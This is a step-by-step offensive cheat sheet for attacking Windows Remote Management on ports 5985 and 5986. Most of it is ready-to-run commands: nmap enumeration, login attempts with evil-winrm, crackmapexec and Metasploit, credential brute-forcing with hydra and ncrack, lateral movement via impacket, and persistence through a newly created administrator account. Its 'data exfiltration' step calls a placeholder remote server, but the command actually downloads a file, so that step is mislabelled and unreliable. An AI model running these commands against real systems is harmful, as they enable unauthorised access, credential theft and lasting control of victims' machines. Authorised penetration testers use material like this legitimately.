WinRM 5985,5986

WinRM Enumeration and Scanning (Ports 5985, 5986)

Step 1: Define the Target IP

Replace <target_ip> with the actual IP address of the target.

# Define the target IP
export TARGET_IP="192.168.1.100"

---

Step 2: Perform an Nmap Scan for WinRM Services

Basic Scan

nmap -p 5985,5986 -sV --script http-winrm-enum <target_ip>

Explanation:

• -p 5985,5986: Specifies WinRM HTTP and HTTPS ports.

• -sV: Detects the service version.

• --script http-winrm-enum: Enumerates basic WinRM information.

---

Step 3: Test WinRM Access Using Tools

Evil-WinRM

1. Install evil-winrm:

   gem install evil-winrm

2. Connect to the WinRM service:

   evil-winrm -i <target_ip> -u <username> -p <password>

CrackMapExec

1. Use crackmapexec for WinRM authentication testing:

   crackmapexec winrm <target_ip> -u <username> -p <password>

Metasploit

1. Launch Metasploit:

   msfconsole

2. Use the WinRM login scanner module:

   use auxiliary/scanner/winrm/winrm_login
   set RHOSTS <target_ip>
   set USERNAME <username>
   set PASSWORD <password>
   run

---

Step 4: Brute-Force WinRM Credentials

Hydra

1. Use hydra to brute-force WinRM credentials:

   hydra -L usernames.txt -P passwords.txt -s 5985 <target_ip> http-winrm

Ncrack

1. Use ncrack for credential brute-forcing:

   ncrack -vv --user <username> -P passwords.txt winrm://<target_ip>

---

Step 5: Exploiting WinRM Vulnerabilities

Enumerate Privileges

1. Once connected to WinRM, enumerate privileges using PowerShell commands:

   whoami /priv

2. Check group memberships:

   net user <username>

Lateral Movement via WinRM

1. Use impacket for executing commands:

   wmiexec.py <domain>/<user>:<password>@<target_ip>

---

Step 6: Post-Exploitation with WinRM

Persistence

1. Create a new user:

   net user /add <new_user> <password>
   net localgroup administrators <new_user> /add

Data Exfiltration

1. Use PowerShell to copy files to a remote server:

   Invoke-WebRequest -Uri http://<your_server>/file -OutFile <path>

---

Notes

• Ensure tools like evil-winrm, crackmapexec, and hydra are installed for effective testing.

• Document all findings during enumeration.

• Use encrypted WinRM (port 5986) for better security.

• Handle credentials securely during testing.